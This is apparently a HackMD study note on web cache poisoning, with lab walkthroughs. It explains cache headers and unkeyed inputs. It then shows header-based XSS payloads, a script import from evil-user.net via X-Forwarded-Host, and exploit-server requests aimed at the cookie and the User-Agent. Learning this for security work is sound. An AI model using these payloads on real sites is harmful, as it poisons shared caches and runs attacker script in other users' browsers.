侯智晟
    • Create new note
    • Create a note from template
      • Sharing URL Link copied
      • /edit
      • View mode
        • Edit mode
        • View mode
        • Book mode
        • Slide mode
        Edit mode View mode Book mode Slide mode
      • Customize slides
      • Note Permission
      • Read
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Write
        • Only me
        • Signed-in users
        • Everyone
        Only me Signed-in users Everyone
      • Engagement control Commenting, Suggest edit, Emoji Reply
    • Invite by email
      Invitee

      This note has no invitees

    • Publish Note

      Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

      Your note will be visible on your profile and discoverable by anyone.
      Your note is now live.
      This note is visible on your profile and discoverable online.
      Everyone on the web can find and read all notes of this public team.
      See published notes
      Unpublish note
      Please check the box to agree to the Community Guidelines.
      View profile
    • Commenting
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
      • Everyone
    • Suggest edit
      Permission
      Disabled Forbidden Owners Signed-in users Everyone
    • Enable
    • Permission
      • Forbidden
      • Owners
      • Signed-in users
    • Emoji Reply
    • Enable
    • Versions and GitHub Sync
    • Note settings
    • Note Insights
    • Engagement control
    • Transfer ownership
    • Delete this note
    • Save as template
    • Insert from template
    • Import from
      • Dropbox
      • Google Drive
      • Gist
      • Clipboard
    • Export to
      • Dropbox
      • Google Drive
      • Gist
    • Download
      • Markdown
      • HTML
      • Raw HTML
Menu Note settings Versions and GitHub Sync Note Insights Sharing URL Create Help
Create Create new note Create a note from template
Menu
Options
Engagement control Transfer ownership Delete this note
Import from
Dropbox Google Drive Gist Clipboard
Export to
Dropbox Google Drive Gist
Download
Markdown HTML Raw HTML
Back
Sharing URL Link copied
/edit
View mode
  • Edit mode
  • View mode
  • Book mode
  • Slide mode
Edit mode View mode Book mode Slide mode
Customize slides
Note Permission
Read
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Write
Only me
  • Only me
  • Signed-in users
  • Everyone
Only me Signed-in users Everyone
Engagement control Commenting, Suggest edit, Emoji Reply
  • Invite by email
    Invitee

    This note has no invitees

  • Publish Note

    Share your work with the world Congratulations! 🎉 Your note is out in the world Publish Note

    Your note will be visible on your profile and discoverable by anyone.
    Your note is now live.
    This note is visible on your profile and discoverable online.
    Everyone on the web can find and read all notes of this public team.
    See published notes
    Unpublish note
    Please check the box to agree to the Community Guidelines.
    View profile
    Engagement control
    Commenting
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    • Everyone
    Suggest edit
    Permission
    Disabled Forbidden Owners Signed-in users Everyone
    Enable
    Permission
    • Forbidden
    • Owners
    • Signed-in users
    Emoji Reply
    Enable
    Import from Dropbox Google Drive Gist Clipboard
       owned this note    owned this note      
    Published Linked with GitHub
    1
    Subscribed
    • Any changes
      Be notified of any changes
    • Mention me
      Be notified of mention me
    • Unsubscribe
    Subscribe
    # Web Cache Poisoning ###### `webSecurity` `cachePoisoning` [TOC] # Introduction & principle Web catch is a technique Attacker will find out the method to induce the back-end server response contain the malicious payload, which can attack other user who subsequently retrieve response. ![圖片](https://hackmd.io/_uploads/SkK90YyWR.png) 2018->Practical Web Cache Poisoning 2020->"Web Cache Entanglement: Novel Pathways to Poisoning" ## Web Cache work https://nitropack.io/blog/post/web-caching-beginners-guide Web caching can be defined as the process of storing copies of websites in different locations, known as web caches. ### Cache HIT - When a request retrieves data from the web cache, it's referred to as a "cache hit." ### Cache Miss - When the cache is unable to fulfill the request, it's called a "cache miss." ![](https://hackmd.io/_uploads/rJdCM88Wa.png) ## Cache Type ### Browser Caches (Private Cache ) ![圖片](https://hackmd.io/_uploads/Hkwiy91WA.png) Private cache store on user's device. ### Proxy Server Caches (Public Cache) Proxy servers are typically maintained by ISPs or Content Delivery Network (CDN) providers. CDN ![圖片](https://hackmd.io/_uploads/H1-xZ5k-C.png) CDN providers use managed panels to monitor and configure a proxy server across the world. ## Cache Header When it comes to web caching, headers play a crucial role in controlling cache behavior. ![](https://hackmd.io/_uploads/HJodvsIZT.png) ### Expires Header ![](https://hackmd.io/_uploads/HJdgl3UWp.png) ### Cache-Control Header `no-store`:This directive instructs the web cache not to store any response `no-cache` It tells the web cache that it must validate the cached content with the original server before serving it to the user. ![](https://hackmd.io/_uploads/H1atX2Ub6.png) `max-age` max-age decides how long the resource can be considered fresh before it needs to be re-downloaded or revalidated with the origin server. For example, `max-age=31536000` is the maximum value, which equals 1 year. `private` the response only can be stored on the private cache (browser cache) `public` the response can be stored in any intermediate cache, including proxy caches. `must-revalidate` The `must-revalidate` directive enforces revalidation. ## Cache Freshness and Validation In fact. the HTTP response usually set max-age =60 It allows the web cache can provide the response without connecting the back-end server.(unless there's a not-cache rule in place) Validation The web cache will ask the back-end server, if the temp store reponse is expire but it hash value is same the content and can i sent to the user expire reponse ? ![](https://hackmd.io/_uploads/ry5qMwDba.png) ### Validate header #### Last-modified and if-modified-since ![](https://hackmd.io/_uploads/SkaI4Pw-6.png) Last-modifed header allows put the validator in the initial response and then, web cache will send the request include if-modifed-since ask the orign server the resource havn't been updated ![](https://hackmd.io/_uploads/rye7BDvb6.png) #### Etag (Entity Tag) An ETag is like a unique fingerprint for specific version of a resource. When initial response is store in the web cache. After the web cache save the ETAG, it can can send the request to the back-end systems with `if-none-header` header. This header allow the cache if its ETag matches the ETag of the server. ### Cache key Cache key is pre-defined subset of the reqeust components. The pre-defined subset typically contian the reqeust url and the HTTP header. if the part of the reqeust that is not include in the cache key are said to be "unkeyed". ==Important== the web cache will ignore the other part of the request, excluding reqeuest path and headers) # Poison cache Impact The Impact of web cache attack dependent on the two factor. 1. the nature of malicious payload that can be store in the cache. Web acache is not a independent, it offen need to combine with other attack, such as inject attacks. 2. How many traffic on the web page We can write script to send malicious content repeatedly. Avoid malicious cache is expire --- # Construct Attack flow ## Identify First step: identifying the "unkeyed" part of the request We can inject malicious input unkeyed input fields and observing the resulting variations in responses. Unkeyed part is our inject point! ## Param Miner (Automatically Discovery Inject point) A parameter miner can be employed to automate the identification of unkeyed inputs, ![](https://hackmd.io/_uploads/ryiB0AO-6.png) >**Caution:** it is important to make sure that our requests all have a unique cache key so that they will only be served to us. ### Cache bruster A cache buster is technique used in cache poisoning testing to ensure each request includes a unique parameter makes the request unique. This unique request avoid interference with regular user of online website. Example: ``` GET /?meow=1 HTTP/2 ``` ## Obtaining Malicious Response form the back-end systems When the user input didn't property sanitized, can trigger the harmful payload in the response, then this is a potential entry point for web cache poisoning ## Get the malicious response from web cache After we have sucessfuly trigger harmful response by manipulating inputs, the next steps is to ensure the harmful response is stored in the web cache. ### Factors affecting the imapct of storing reponse in the web cache - File Extension - Content Type - Route - Status Code - Respone Header ![](https://hackmd.io/_uploads/Hy4b8ytZ6.png) Understanding and controlling these factors is crucial when dealing with web cache poisoning vulnerabilities. # Exploit ## web cache poisoning Arise flaws in the web design itself. Other times, it occurs because the website has been designed in a way that interacts with the web cache in a particular manner. ## Delivering the XSS payload if the response have to fetch the value of dynamic header. there is a chance to manipulate the header value to cause the cache poisoning ### X-forwarded-Host The X-forwarded-Host typically used to record initial domain name, providing the basic domain information for web applications. Example: ``` X-Forwarded-Host: meowhecker.com (request host domain) ``` Xss payload (Reflect~) ``` GET /en?region=uk HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: a."><script>alert(1)</script>" ``` Obtaining A harmful response from the server ``` HTTP/1.1 200 OK Cache-Control: public <meta property="og:image" content="https://a."><script>alert(1)</script>"/cms/social.png" /> ``` It allow Attacker execute arbitrary Javascript in Victim's browser. ## Exploit unsafe handling of resource imports ``` GET / HTTP/1.1 Host: innocent-website.com X-Forwarded-Host: evil-user.net User-Agent: Mozilla/5.0 Firefox/57.0 HTTP/1.1 200 OK <script src="https://evil-user.net/static/analytics.js"></script> ``` ## LAB-Web cache poisioning with an unkeyed header Cache miss(First Request) ![](https://hackmd.io/_uploads/SyOWJXYWp.png) Cache Hit ![](https://hackmd.io/_uploads/ByLzkmYZp.png) --- ![](https://hackmd.io/_uploads/S1H7uzFb6.png) ![](https://hackmd.io/_uploads/ryX1uztZp.png) ![](https://hackmd.io/_uploads/S11xuzF-p.png) ![](https://hackmd.io/_uploads/BkjpufFZa.png) ``` X-Forwarded-Host: zwrtxqvav5xuq82tt3 ``` ![](https://hackmd.io/_uploads/B1EzKMtbp.png) ![](https://hackmd.io/_uploads/SyITZXFZT.png) Create the Malisiout server replace malisiout js file ![](https://hackmd.io/_uploads/S1YeSQKWa.png) ![](https://hackmd.io/_uploads/HJlWSXYba.png) Posint the web cache cache miss -> cache hit (the response successfuly store in the cache) ![](https://hackmd.io/_uploads/S1d2NQF-p.png) ![](https://hackmd.io/_uploads/SyxHHmY-6.png) ## Exploit cookie Header (unkey) Suppose: if cache key contain the reqeust line and HTTP header, but not the cookie header. it's possible to resulting in cache posion! ``` GET /blog/post.php?mobile=1 HTTP/1.1 Host: innocent-website.com User-Agent: Mozilla/5.0 Firefox/57.0 Cookie: language=pl; Connection: close ``` ## LAB-Web cache poisoning with an unkeyed cookie Analysis: ![](https://hackmd.io/_uploads/SJlFWrFWp.png) ![](https://hackmd.io/_uploads/Hk_RJSF-a.png) ![](https://hackmd.io/_uploads/Sy5zerYba.png) In this situation, there probably have a reflected XSS ![](https://hackmd.io/_uploads/BkQnqBYZ6.png) Xss payload ``` fehost=123"-alert('meowhecker')-"456 ``` ![](https://hackmd.io/_uploads/r1aunSK-T.png) ![](https://hackmd.io/_uploads/S1t83rFb6.png) ![](https://hackmd.io/_uploads/S1QXaHKZa.png) ![](https://hackmd.io/_uploads/ryXAnrt-T.png) ![](https://hackmd.io/_uploads/HyiK2rtbp.png) ## Exploit-Multiple Headers ``` GET /random HTTP/1.1 Host: innocent-site.com X-Forwarded-Proto: http HTTP/1.1 301 moved permanently Location: https://innocent-site.com/random ``` X-Forwarded -> Elastic load blance -> host: record client IP -> proto: record using protocol between client and load balance or proxy -> port: record client port ## LAB web cache poisoning with multiple headers ![](https://hackmd.io/_uploads/SkjQ_Wqba.png) ![](https://hackmd.io/_uploads/rJ46Yb9Zp.png) ![](https://hackmd.io/_uploads/H1B45Wc-6.png) ![](https://hackmd.io/_uploads/rkVq9Wq-a.png) ![](https://hackmd.io/_uploads/Hytj5b5b6.png) ![](https://hackmd.io/_uploads/SkDa5-9ba.png) ``` X-Forwarded-Scheme: nothttps X-Forwarded-Host: /exploit-0adf000603bd28f68192fb5301c900c3.exploit-server.net ``` ![](https://hackmd.io/_uploads/Bkz0qbc-T.png) --- ## Exploiting response that expose too much information ## Cache-control header analysis To ensure the harmful response is stored the web cache, we can attempt to observer the response of Cache-Control Header. Example: ``` Cache-control: public max-age=30 or cache: miss cache: Hit ``` we can advantage of this information to construct the attack ofcuse on single user or specific group user. Example ``` User-Agent: ``` it allow us to posion spcific user agents or devices which could raise suspicions, the attacker can carefully time a single malicious request to poison the cache. ### Vary Header Varay Header is used to crate the cache key ``` vary: 'header-name', 'header-name' vary: 'User-Agent' ``` ## LAB Target web cache poisoning using know header ![](https://hackmd.io/_uploads/rkJKdM5WT.png) ![](https://hackmd.io/_uploads/Skx9gXq-p.png) ![](https://hackmd.io/_uploads/rkC3eX5Wa.png) ![](https://hackmd.io/_uploads/HJByMQqZa.png) ``` X-Host: ``` --- ![](https://hackmd.io/_uploads/BJ83b75Wp.png) ![](https://hackmd.io/_uploads/ByvGz7qZ6.png) ![](https://hackmd.io/_uploads/HJJDzX9-6.png) ![](https://hackmd.io/_uploads/SJItz7qWT.png) --- Get the spcific user agnet Not Work !! (是超九 ``` document.write('<img src="https://exploit-0ab4006a04fc7d248103f11101fc00c4.exploit-server.net/test" onerror =alert("trigger ")>meowwwwwwwwwwwwwwwwwwwwwww); alert(document.cookie); ``` ![](https://hackmd.io/_uploads/Bkdh0mqb6.png) Victim 沒辦法吃的posion response 是很正常 因為 User-agent 在cache key 中 (Vary: Usuer-Agent) --- Html injection in comment block ![](https://hackmd.io/_uploads/SJQkRv9bT.png) paylaod ``` <img src=https://exploit-server.net></img> ``` ![](https://hackmd.io/_uploads/SycbnX9ba.png) ![](https://hackmd.io/_uploads/ryLfsPqZa.png) ``` Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 ``` ``` GET / HTTP/1.1 .... X-Host: exploit-0adf0073032ca21f89b36d5f01fa00fa.exploit-server.net ... User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 ``` ![](https://hackmd.io/_uploads/SJXw2w9bp.png) ![](https://hackmd.io/_uploads/HkKm2vcbT.png) --- ## Exploit DOM-Based vulnerability (skip->CORS!!) ##

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password

    or

    By clicking below, you agree to our terms of service.

    Sign in via Facebook Sign in via Twitter Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully